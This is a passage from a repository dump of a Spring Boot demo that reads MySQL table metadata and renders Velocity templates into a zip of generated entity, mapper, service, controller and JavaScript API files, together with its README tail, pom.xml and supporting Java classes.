     templates.add(\"template/Controller.java.vm\");\n\n        templates.add(\"template/api.js.vm\");\n        return templates;\n    }\n\n    /**\n     * 生成代码\n     */\n    public void generatorCode(GenConfig genConfig, Entity table, List<Entity> columns, ZipOutputStream zip) {\n        //配置信息\n        Props props = getConfig();\n        boolean hasBigDecimal = false;\n        //表信息\n        TableEntity tableEntity = new TableEntity();\n        tableEntity.setTableName(table.getStr(\"tableName\"));\n\n        if (StrUtil.isNotBlank(genConfig.getComments())) {\n            tableEntity.setComments(genConfig.getComments());\n        } else {\n            tableEntity.setComments(table.getStr(\"tableComment\"));\n        }\n\n        String tablePrefix;\n        if (StrUtil.isNotBlank(genConfig.getTablePrefix())) {\n            tablePrefix = genConfig.getTablePrefix();\n        } else {\n            tablePrefix = props.getStr(\"tablePrefix\");\n        }\n\n        //表名转换成Java类名\n        String className = tableToJava(tableEntity.getTableName(), tablePrefix);\n        tableEntity.setCaseClassName(className);\n        tableEntity.setLowerClassName(StrUtil.lowerFirst(className));\n\n        //列信息\n        List<ColumnEntity> columnList = Lists.newArrayList();\n        for (Entity column : columns) {\n            ColumnEntity columnEntity = new ColumnEntity();\n            columnEntity.setColumnName(column.getStr(\"columnName\"));\n            columnEntity.setDataType(column.getStr(\"dataType\"));\n            columnEntity.setComments(column.getStr(\"columnComment\"));\n            columnEntity.setExtra(column.getStr(\"extra\"));\n\n            //列名转换成Java属性名\n            String attrName = columnToJava(columnEntity.getColumnName());\n            columnEntity.setCaseAttrName(attrName);\n            columnEntity.setLowerAttrName(StrUtil.lowerFirst(attrName));\n\n            //列的数据类型，转换成Java类型\n            String attrType = props.getStr(columnEntity.getDataType(), \"unknownType\");\n            columnEntity.setAttrType(attrType);\n            if (!hasBigDecimal && \"BigDecimal\".equals(attrType)) {\n                hasBigDecimal = true;\n            }\n            //是否主键\n            if (\"PRI\".equalsIgnoreCase(column.getStr(\"columnKey\")) && tableEntity.getPk() == null) {\n                tableEntity.setPk(columnEntity);\n            }\n\n            columnList.add(columnEntity);\n        }\n        tableEntity.setColumns(columnList);\n\n        //没主键，则第一个字段为主键\n        if (tableEntity.getPk() == null) {\n            tableEntity.setPk(tableEntity.getColumns().get(0));\n        }\n\n        //设置velocity资源加载器\n        Properties prop = new Properties();\n        prop.put(\"file.resource.loader.class\", \"org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader\");\n        Velocity.init(prop);\n        //封装模板数据\n        Map<String, Object> map = new HashMap<>(16);\n        map.put(\"tableName\", tableEntity.getTableName());\n        map.put(\"pk\", tableEntity.getPk());\n        map.put(\"className\", tableEntity.getCaseClassName());\n        map.put(\"classname\", tableEntity.getLowerClassName());\n        map.put(\"pathName\", tableEntity.getLowerClassName().toLowerCase());\n        map.put(\"columns\", tableEntity.getColumns());\n        map.put(\"hasBigDecimal\", hasBigDecimal);\n        map.put(\"datetime\", DateUtil.now());\n        map.put(\"year\", DateUtil.year(new Date()));\n\n        if (StrUtil.isNotBlank(genConfig.getComments())) {\n            map.put(\"comments\", genConfig.getComments());\n        } else {\n            map.put(\"comments\", tableEntity.getComments());\n        }\n\n        if (StrUtil.isNotBlank(genConfig.getAuthor())) {\n            map.put(\"author\", genConfig.getAuthor());\n        } else {\n            map.put(\"author\", props.getStr(\"author\"));\n        }\n\n        if (StrUtil.isNotBlank(genConfig.getModuleName())) {\n            map.put(\"moduleName\", genConfig.getModuleName());\n        } else {\n            map.put(\"moduleName\", props.getStr(\"moduleName\"));\n        }\n\n        if (StrUtil.isNotBlank(genConfig.getPackageName())) {\n            map.put(\"package\", genConfig.getPackageName());\n            map.put(\"mainPath\", genConfig.getPackageName());\n        } else {\n            map.put(\"package\", props.getStr(\"package\"));\n            map.put(\"mainPath\", props.getStr(\"mainPath\"));\n        }\n        VelocityContext context = new VelocityContext(map);\n\n        //获取模板列表\n        List<String> templates = getTemplates();\n        for (String template : templates) {\n            //渲染模板\n            StringWriter sw = new StringWriter();\n            Template tpl = Velocity.getTemplate(template, CharsetUtil.UTF_8);\n            tpl.merge(context, sw);\n\n            try {\n                //添加到zip\n                zip.putNextEntry(new ZipEntry(Objects.requireNonNull(getFileName(template, tableEntity.getCaseClassName(), map\n                        .get(\"package\")\n                        .toString(), map.get(\"moduleName\").toString()))));\n                IoUtil.write(zip, StandardCharsets.UTF_8, false, sw.toString());\n                IoUtil.close(sw);\n                zip.closeEntry();\n            } catch (IOException e) {\n                throw new RuntimeException(\"渲染模板失败，表名：\" + tableEntity.getTableName(), e);\n            }\n        }\n    }\n\n\n    /**\n     * 列名转换成Java属性名\n     */\n    private String columnToJava(String columnName) {\n        return WordUtils.capitalizeFully(columnName, new char[]{'_'}).replace(\"_\", \"\");\n    }\n\n    /**\n     * 表名转换成Java类名\n     */\n    private String tableToJava(String tableName, String tablePrefix) {\n        if (StrUtil.isNotBlank(tablePrefix)) {\n            tableName = tableName.replaceFirst(tablePrefix, \"\");\n        }\n        return columnToJava(tableName);\n    }\n\n    /**\n     * 获取配置信息\n     */\n    private Props getConfig() {\n        Props props = new Props(\"generator.properties\");\n        props.autoLoad(true);\n        return props;\n    }\n\n    /**\n     * 获取文件名\n     */\n    private String getFileName(String template, String className, String packageName, String moduleName) {\n        // 包路径\n        String packagePath = GenConstants.SIGNATURE + File.separator + \"src\" + File.separator + \"main\" + File.separator + \"java\" + File.separator;\n        // 资源路径\n        String resourcePath = GenConstants.SIGNATURE + File.separator + \"src\" + File.separator + \"main\" + File.separator + \"resources\" + File.separator;\n        // api路径\n        String apiPath = GenConstants.SIGNATURE + File.separator + \"api\" + File.separator;\n\n        if (StrUtil.isNotBlank(packageName)) {\n            packagePath += packageName.replace(\".\", File.separator) + File.separator + moduleName + File.separator;\n        }\n\n        if (template.contains(ENTITY_JAVA_VM)) {\n            return packagePath + \"entity\" + File.separator + className + \".java\";\n        }\n\n        if (template.contains(MAPPER_JAVA_VM)) {\n            return packagePath + \"mapper\" + File.separator + className + \"Mapper.java\";\n        }\n\n        if (template.contains(SERVICE_JAVA_VM)) {\n            return packagePath + \"service\" + File.separator + className + \"Service.java\";\n        }\n\n        if (template.contains(SERVICE_IMPL_JAVA_VM)) {\n            return packagePath + \"service\" + File.separator + \"impl\" + File.separator + className + \"ServiceImpl.java\";\n        }\n\n        if (template.contains(CONTROLLER_JAVA_VM)) {\n            return packagePath + \"controller\" + File.separator + className + \"Controller.java\";\n        }\n\n        if (template.contains(MAPPER_XML_VM)) {\n            return resourcePath + \"mapper\" + File.separator + className + \"Mapper.xml\";\n        }\n\n        if (template.contains(API_JS_VM)) {\n            return apiPath + className.toLowerCase() + \".js\";\n        }\n\n        return null;\n    }\n}\n```\n\n### 3.4. 其余代码参见demo\n\n## 4. 演示\n\n<video id=\"video\" controls=\"\" preload=\"none\">\n      <source id=\"mp4\" src=\"https://static.xkcoding.com/code/spring-boot-demo/codegen/codegen.mp4\" type=\"video/mp4\">\n      <p>您的浏览器版本过低，不支持播放视频演示，可下载演示视频观看，https://static.xkcoding.com/code/spring-boot-demo/codegen/codegen.mp4</p>\n    </video>\n\n## 5. 参考\n\n- [基于人人开源 自动构建项目_V1](https://qq343509740.gitee.io/2018/12/20/%E7%AC%94%E8%AE%B0/%E8%87%AA%E5%8A%A8%E6%9E%84%E5%BB%BA%E9%A1%B9%E7%9B%AE/%E5%9F%BA%E4%BA%8E%E4%BA%BA%E4%BA%BA%E5%BC%80%E6%BA%90%20%E8%87%AA%E5%8A%A8%E6%9E%84%E5%BB%BA%E9%A1%B9%E7%9B%AE_V1/)\n\n- [Mybatis-Plus代码生成器](https://mybatis.plus/guide/generator.html#%E6%B7%BB%E5%8A%A0%E4%BE%9D%E8%B5%96)"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>springboot_codegen</artifactId>\n    <version>1.0.0-SNAPSHOT</version>\n    <packaging>jar</packaging>\n\n  <parent>\n\t    <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n  </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.springframework.boot</groupId>\n                    <artifactId>spring-boot-starter-tomcat</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-undertow</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>com.zaxxer</groupId>\n            <artifactId>HikariCP</artifactId>\n        </dependency>\n\n        <!--velocity代码生成使用模板 -->\n        <dependency>\n            <groupId>org.apache.velocity</groupId>\n            <artifactId>velocity-engine-core</artifactId>\n            <version>2.1</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-text</artifactId>\n            <version>1.6</version>\n        </dependency>\n\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.google.guava</groupId>\n            <artifactId>guava</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n        \t<groupId>junit</groupId>\n        \t<artifactId>junit</artifactId>\n        \t<version>4.13.1</version>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>springboot_codegen</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/java/com/jun/plugin/codegen/SpringBootDemoCodegenApplication.java",
    "content": "package com.jun.plugin.codegen;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动器\n * </p>\n *\n * @package: com.xkcoding.codegen\n * @description: 启动器\n * @author: yangkai.shen\n * @date: Created in 2019-03-22 09:10\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@SpringBootApplication\npublic class SpringBootDemoCodegenApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoCodegenApplication.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/java/com/jun/plugin/codegen/common/IResultCode.java",
    "content": "package com.jun.plugin.codegen.common;\n\n/**\n * <p>\n * 统一状态码接口\n * </p>\n *\n * @package: com.xkcoding.rbac.shiro.common\n * @description: 统一状态码接口\n * @author: yangkai.shen\n * @date: Created in 2019-03-21 16:28\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic interface IResultCode {\n    /**\n     * 获取状态码\n     *\n     * @return 状态码\n     */\n    Integer getCode();\n\n    /**\n     * 获取返回消息\n     *\n     * @return 返回消息\n     */\n    String getMessage();\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/java/com/jun/plugin/codegen/common/PageResult.java",
    "content": "package com.jun.plugin.codegen.common;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Data;\n\nimport java.util.List;\n\n/**\n * <p>\n * 分页结果集\n * </p>\n *\n * @package: com.xkcoding.codegen.common\n * @description: 分页结果集\n * @author: yangkai.shen\n * @date: Created in 2019-03-22 11:24\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@AllArgsConstructor\npublic class PageResult<T> {\n    /**\n     * 总条数\n     */\n    private Long total;\n\n    /**\n     * 页码\n     */\n    private int pageNumber;\n\n    /**\n     * 每页结果数\n     */\n    private int pageSize;\n\n    /**\n     * 结果集\n     */\n    private List<T> list;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/java/com/jun/plugin/codegen/common/R.java",
    "content": "package com.jun.plugin.codegen.common;\n\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\n/**\n * <p>\n * 统一API对象返回\n * </p>\n *\n * @package: com.xkcoding.codegen.common\n * @description: 统一API对象返回\n * @author: yangkai.shen\n * @date: Created in 2019-03-22 10:13\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@NoArgsConstructor\npublic class R<T> {\n    /**\n     * 状态码\n     */\n    private Integer code;\n\n    /**\n     * 返回消息\n     */\n    private String message;\n\n    /**\n     * 状态\n     */\n    private boolean status;\n\n    /**\n     * 返回数据\n     */\n    private T data;\n\n    public R(Integer code, String message, boolean status, T data) {\n        this.code = code;\n        this.message = message;\n        this.status = status;\n        this.data = data;\n    }\n\n    public R(IResultCode resultCode, boolean status, T data) {\n        this.code = resultCode.getCode();\n        this.message = resultCode.getMessage();\n        this.status = status;\n        this.data = data;\n    }\n\n    public R(IResultCode resultCode, boolean status) {\n        this.code = resultCode.getCode();\n        this.message = resultCode.getMessage();\n        this.status = status;\n        this.data = null;\n    }\n\n    public static <T> R success() {\n        return new R<>(ResultCode.OK, true);\n    }\n\n    public static <T> R message(String message) {\n        return new R<>(ResultCode.OK.getCode(), message, true, null);\n    }\n\n    public static <T> R success(T data) {\n        return new R<>(ResultCode.OK, true, data);\n    }\n\n    public static <T> R fail() {\n        return new R<>(ResultCode.ERROR, false);\n    }\n\n    public static <T> R fail(IResultCode resultCode) {\n        return new R<>(resultCode, false);\n    }\n\n    public static <T> R fail(Integer code, String message) {\n        return new R<>(code, message, false, null);\n    }\n\n    public static <T> R fail(IResultCode resultCode, T data) {\n        return new R<>(resultCode, false, data);\n    }\n\n    public static <T> R fail(Integer code, String message, T data) {\n        return new R<>(code, message, false, data);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/java/com/jun/plugin/codegen/common/ResultCode.java",
    "content": "package com.jun.plugin.codegen.common;\n\nimport lombok.Getter;\n\n/**\n * <p>\n * 通用状态枚举\n * </p>\n *\n * @package: com.xkcoding.codegen.common\n * @description: 通用状态枚举\n * @author: yangkai.shen\n * @date: Created in 2019-03-22 10:13\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Getter\npublic enum ResultCode implements IResultCode {\n    /**\n     * 成功\n     */\n    OK(200, \"成功\"),\n    /**\n     * 失败\n     */\n    ERROR(500, \"失败\");\n\n    /**\n     * 返回码\n     */\n    private Integer code;\n\n    /**\n     * 返回消息\n     */\n    private String message;\n\n    ResultCode(Integer code, String message) {\n        this.code = code;\n        this.message = message;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/java/com/jun/plugin/codegen/constants/GenConstants.java",
    "content": "package com.jun.plugin.codegen.constants;\n\n/**\n * <p>\n * 常量池\n * </p>\n *\n * @package: com.xkcoding.codegen.constants\n * @description: 常量池\n * @author: yangkai.shen\n * @date: Created in 2019-03-22 10:04\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic interface GenConstants {\n    /**\n     * 签名\n     */\n    String SIGNATURE = \"xkcoding代码生成\";\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/java/com/jun/plugin/codegen/controller/CodeGenController.java",
    "content": "package com.jun.plugin.codegen.controller;\n\nimport cn.hutool.core.io.IoUtil;\nimport lombok.AllArgsConstructor;\nimport lombok.SneakyThrows;\nimport org.springframework.http.HttpHeaders;\nimport org.springframework.web.bind.annotation.*;\n\nimport com.jun.plugin.codegen.common.R;\nimport com.jun.plugin.codegen.entity.GenConfig;\nimport com.jun.plugin.codegen.entity.TableRequest;\nimport com.jun.plugin.codegen.service.CodeGenService;\n\nimport javax.servlet.http.HttpServletResponse;\n\n/**\n * <p>\n * 代码生成器\n * </p>\n *\n * @package: com.xkcoding.codegen.controller\n * @description: 代码生成器\n * @author: yangkai.shen\n * @date: Created in 2019-03-22 10:11\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@RestController\n@AllArgsConstructor\n@RequestMapping(\"/generator\")\npublic class CodeGenController {\n    private final CodeGenService codeGenService;\n\n    /**\n     * 列表\n     *\n     * @param request 参数集\n     * @return 数据库表\n     */\n    @GetMapping(\"/table\")\n    public R listTables(TableRequest request) {\n        return R.success(codeGenService.listTables(request));\n    }\n\n    /**\n     * 生成代码\n     */\n    @SneakyThrows\n    @PostMapping(\"\")\n    public void generatorCode(@RequestBody GenConfig genConfig, HttpServletResponse response) {\n        byte[] data = codeGenService.generatorCode(genConfig);\n\n        response.reset();\n        response.setHeader(HttpHeaders.CONTENT_DISPOSITION, String.format(\"attachment; filename=%s.zip\", genConfig.getTableName()));\n        response.addHeader(HttpHeaders.CONTENT_LENGTH, String.valueOf(data.length));\n        response.setContentType(\"application/octet-stream; charset=UTF-8\");\n\n        IoUtil.write(response.getOutputStream(), Boolean.TRUE, data);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/java/com/jun/plugin/codegen/entity/ColumnEntity.java",
    "content": "package com.jun.plugin.codegen.entity;\n\nimport lombok.Data;\n\n/**\n * <p>\n * 列属性： https://blog.csdn.net/lkforce/article/details/79557482\n * </p>\n *\n * @package: com.xkcoding.codegen.entity\n * @description: 列属性： https://blog.csdn.net/lkforce/article/details/79557482\n * @author: yangkai.shen\n * @date: Created in 2019-03-22 09:46\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\npublic class ColumnEntity {\n    /**\n     * 列表\n     */\n    private String columnName;\n    /**\n     * 数据类型\n     */\n    private String dataType;\n    /**\n     * 备注\n     */\n    private String comments;\n    /**\n     * 驼峰属性\n     */\n    private String caseAttrName;\n    /**\n     * 普通属性\n     */\n    private String lowerAttrName;\n    /**\n     * 属性类型\n     */\n    private String attrType;\n    /**\n     * 其他信息\n     */\n    private String extra;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/java/com/jun/plugin/codegen/entity/GenConfig.java",
    "content": "package com.jun.plugin.codegen.entity;\n\nimport lombok.Data;\n\n/**\n * <p>\n * 生成配置\n * </p>\n *\n * @package: com.xkcoding.codegen.entity\n * @description: 生成配置\n * @author: yangkai.shen\n * @date: Created in 2019-03-22 09:47\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\npublic class GenConfig {\n    /**\n     * 请求参数\n     */\n    private TableRequest request;\n    /**\n     * 包名\n     */\n    private String packageName;\n    /**\n     * 作者\n     */\n    private String author;\n    /**\n     * 模块名称\n     */\n    private String moduleName;\n    /**\n     * 表前缀\n     */\n    private String tablePrefix;\n    /**\n     * 表名称\n     */\n    private String tableName;\n    /**\n     * 表备注\n     */\n    private String comments;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/java/com/jun/plugin/codegen/entity/TableEntity.java",
    "content": "package com.jun.plugin.codegen.entity;\n\nimport lombok.Data;\n\nimport java.util.List;\n\n/**\n * <p>\n * 表属性： https://blog.csdn.net/lkforce/article/details/79557482\n * </p>\n *\n * @package: com.xkcoding.codegen.entity\n * @description: 表属性： https://blog.csdn.net/lkforce/article/details/79557482\n * @author: yangkai.shen\n * @date: Created in 2019-03-22 09:47\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\npublic class TableEntity {\n    /**\n     * 名称\n     */\n    private String tableName;\n    /**\n     * 备注\n     */\n    private String comments;\n    /**\n     * 主键\n     */\n    private ColumnEntity pk;\n    /**\n     * 列名\n     */\n    private List<ColumnEntity> columns;\n    /**\n     * 驼峰类型\n     */\n    private String caseClassName;\n    /**\n     * 普通类型\n     */\n    private String lowerClassName;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/java/com/jun/plugin/codegen/entity/TableRequest.java",
    "content": "package com.jun.plugin.codegen.entity;\n\nimport lombok.Data;\n\n/**\n * <p>\n * 表格请求参数\n * </p>\n *\n * @package: com.xkcoding.codegen.entity\n * @description: 表格请求参数\n * @author: yangkai.shen\n * @date: Created in 2019-03-22 10:24\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\npublic class TableRequest {\n    /**\n     * 当前页\n     */\n    private Integer currentPage;\n    /**\n     * 每页条数\n     */\n    private Integer pageSize;\n    /**\n     * jdbc-前缀\n     */\n    private String prepend;\n    /**\n     * jdbc-url\n     */\n    private String url;\n    /**\n     * 用户名\n     */\n    private String username;\n    /**\n     * 密码\n     */\n    private String password;\n    /**\n     * 表名\n     */\n    private String tableName;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/java/com/jun/plugin/codegen/service/CodeGenService.java",
    "content": "package com.jun.plugin.codegen.service;\n\nimport com.jun.plugin.codegen.common.PageResult;\nimport com.jun.plugin.codegen.entity.GenConfig;\nimport com.jun.plugin.codegen.entity.TableRequest;\n\nimport cn.hutool.db.Entity;\n\n/**\n * <p>\n * 代码生成器\n * </p>\n *\n * @package: com.xkcoding.codegen.service\n * @description: 代码生成器\n * @author: yangkai.shen\n * @date: Created in 2019-03-22 10:15\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic interface CodeGenService {\n    /**\n     * 生成代码\n     *\n     * @param genConfig 生成配置\n     * @return 代码压缩文件\n     */\n    byte[] generatorCode(GenConfig genConfig);\n\n    /**\n     * 分页查询表信息\n     *\n     * @param request 请求参数\n     * @return 表名分页信息\n     */\n    PageResult<Entity> listTables(TableRequest request);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/java/com/jun/plugin/codegen/service/impl/CodeGenServiceImpl.java",
    "content": "package com.jun.plugin.codegen.service.impl;\n\nimport cn.hutool.core.io.IoUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.db.Db;\nimport cn.hutool.db.Entity;\nimport cn.hutool.db.Page;\n\nimport com.jun.plugin.codegen.common.PageResult;\nimport com.jun.plugin.codegen.entity.GenConfig;\nimport com.jun.plugin.codegen.entity.TableRequest;\nimport com.jun.plugin.codegen.service.CodeGenService;\nimport com.jun.plugin.codegen.utils.CodeGenUtil;\nimport com.jun.plugin.codegen.utils.DbUtil;\nimport com.zaxxer.hikari.HikariDataSource;\nimport lombok.AllArgsConstructor;\nimport lombok.SneakyThrows;\nimport org.springframework.stereotype.Service;\n\nimport java.io.ByteArrayOutputStream;\nimport java.math.BigDecimal;\nimport java.util.List;\nimport java.util.zip.ZipOutputStream;\n\n/**\n * <p>\n * 代码生成器\n * </p>\n *\n * @package: com.xkcoding.codegen.service.impl\n * @description: 代码生成器\n * @author: yangkai.shen\n * @date: Created in 2019-03-22 10:15\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Service\n@AllArgsConstructor\npublic class CodeGenServiceImpl implements CodeGenService {\n    private final String TABLE_SQL_TEMPLATE = \"select table_name tableName, engine, table_comment tableComment, create_time createTime from information_schema.tables where table_schema = (select database()) %s order by create_time desc\";\n\n    private final String COLUMN_SQL_TEMPLATE = \"select column_name columnName, data_type dataType, column_comment columnComment, column_key columnKey, extra from information_schema.columns where table_name = ? and table_schema = (select database()) order by ordinal_position\";\n\n    private final String COUNT_SQL_TEMPLATE = \"select count(1) from (%s)tmp\";\n\n    private final String PAGE_SQL_TEMPLATE = \" limit ?,?\";\n\n    /**\n     * 分页查询表信息\n     *\n     * @param request 请求参数\n     * @return 表名分页信息\n     */\n    @Override\n    @SneakyThrows\n    public PageResult<Entity> listTables(TableRequest request) {\n        HikariDataSource dataSource = DbUtil.buildFromTableRequest(request);\n        Db db = new Db(dataSource);\n\n        Page page = new Page(request.getCurrentPage(), request.getPageSize());\n        int start = page.getStartPosition();\n        int pageSize = page.getPageSize();\n\n        String paramSql = StrUtil.EMPTY;\n        if (StrUtil.isNotBlank(request.getTableName())) {\n            paramSql = \"and table_name like concat('%', ?, '%')\";\n        }\n        String sql = String.format(TABLE_SQL_TEMPLATE, paramSql);\n        String countSql = String.format(COUNT_SQL_TEMPLATE, sql);\n\n        List<Entity> query;\n        BigDecimal count;\n        if (StrUtil.isNotBlank(request.getTableName())) {\n            query = db.query(sql + PAGE_SQL_TEMPLATE, request.getTableName(), start, pageSize);\n            count = (BigDecimal) db.queryNumber(countSql, request.getTableName());\n        } else {\n            query = db.query(sql + PAGE_SQL_TEMPLATE, start, pageSize);\n            count = (BigDecimal) db.queryNumber(countSql);\n        }\n\n        PageResult<Entity> pageResult = new PageResult<>(count.longValue(), page.getPageNumber(), page.getPageSize(), query);\n\n        dataSource.close();\n        return pageResult;\n    }\n\n    /**\n     * 生成代码\n     *\n     * @param genConfig 生成配置\n     * @return 代码压缩文件\n     */\n    @Override\n    public byte[] generatorCode(GenConfig genConfig) {\n        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();\n        ZipOutputStream zip = new ZipOutputStream(outputStream);\n\n        //查询表信息\n        Entity table = queryTable(genConfig.getRequest());\n        //查询列信息\n        List<Entity> columns = queryColumns(genConfig.getRequest());\n        //生成代码\n        CodeGenUtil.generatorCode(genConfig, table, columns, zip);\n        IoUtil.close(zip);\n        return outputStream.toByteArray();\n    }\n\n    @SneakyThrows\n    private Entity queryTable(TableRequest request) {\n        HikariDataSource dataSource = DbUtil.buildFromTableRequest(request);\n        Db db = new Db(dataSource);\n\n        String paramSql = StrUtil.EMPTY;\n        if (StrUtil.isNotBlank(request.getTableName())) {\n            paramSql = \"and table_name = ?\";\n        }\n        String sql = String.format(TABLE_SQL_TEMPLATE, paramSql);\n        Entity entity = db.queryOne(sql, request.getTableName());\n\n        dataSource.close();\n        return entity;\n    }\n\n    @SneakyThrows\n    private List<Entity> queryColumns(TableRequest request) {\n        HikariDataSource dataSource = DbUtil.buildFromTableRequest(request);\n        Db db = new Db(dataSource);\n\n        List<Entity> query = db.query(COLUMN_SQL_TEMPLATE, request.getTableName());\n\n        dataSource.close();\n        return query;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_codegen/src/main/java/com/jun/plugin/codegen/utils/CodeGenUtil.java",
    "content": "package com.jun.plugin.codegen.utils;\n\nimport cn.hutool.core.date.DateUtil;\nimport cn.hutool.core.io.IoUtil;\nimport cn.hutool.core.util.CharsetUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.db.Entity;\nimport cn.hutool.setting.dialect.Props;\nimport com.google.common.collect.Lists;\nimport com.jun.plugin.codegen.constants.GenConstants;\nimport com.jun.plugin.codegen.entity.ColumnEntity;\nimport com.jun.plugin.codegen.entity.GenConfig;\nimport com.jun.plugin.codegen.entity.TableEntity;\n\nimport lombok.experimental.UtilityClass;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.text.WordUtils;\nimport org.apache.velocity.Template;\nimport org.apache.velocity.VelocityContext;\nimport org.apache.velocity.app.Velocity;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.StringWriter;\nimport java.nio.charset.StandardCharsets;\nimport java.util.*;\nimport java.util.zip.ZipEntry;\nimport java.util.zip.ZipOutputStream;\n\n/**\n * <p>\n * 代码生成器   工具类\n * </p>\n *\n * @package: com.xkcoding.codegen.utils\n * @description: 代码生成器   工具类\n * @author: yangkai.shen\n * @date: Created in 2019-03-22 09:27\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Slf4j\n@UtilityClass\npublic class CodeGenUtil {\n\n    private final String ENTITY_JAVA_VM = \"Entity.java.vm\";\n    private final String MAPPER_JAVA_VM = \"Mapper.java.vm\";\n    private final String SERVICE_JAVA_VM = \"Service.java.vm\";\n    private final String SERVICE_IMPL_JAVA_VM = \"ServiceImpl.java.vm\";\n    private final String CONTROLLER_JAVA_VM = \"Controller.java.vm\";\n    private final String MAPPER_XML_VM = \"Mapper.xml.vm\";\n    private final String API_JS_VM = \"api.js.vm\";\n\n    private List<String> getTemplates() {\n        List<String> templates = new ArrayList<>();\n        templates.add(\"template/Entity.java.vm\");\n        templates.add(\"template/Mapper.java.vm\");\n        templates.add(\"template/Mapper.xml.vm\");\n        templates.add(\"template/Service.java.vm\");\n        templates.add(\"template/ServiceImpl.java.vm\");\n        templates.add(\"template/Controller.java.vm\");\n\n        templates.add(\"template/api.js.vm\");\n        return templates;\n    }\n\n    /**\n     * 生成代码\n     */\n    public void generatorCode(GenConfig genConfig, Entity table, List<Entity> columns, ZipOutputStream zip) {\n        //配置信息\n        Props props = getConfig();\n        boolean hasBigDecimal = false;\n        //表信息\n        TableEntity tableEntity = new TableEntity();\n        tableEntity.setTableName(table.getStr(\"tableName\"));\n\n        if (StrUtil.isNotBlank(genConfig.getComments())) {\n            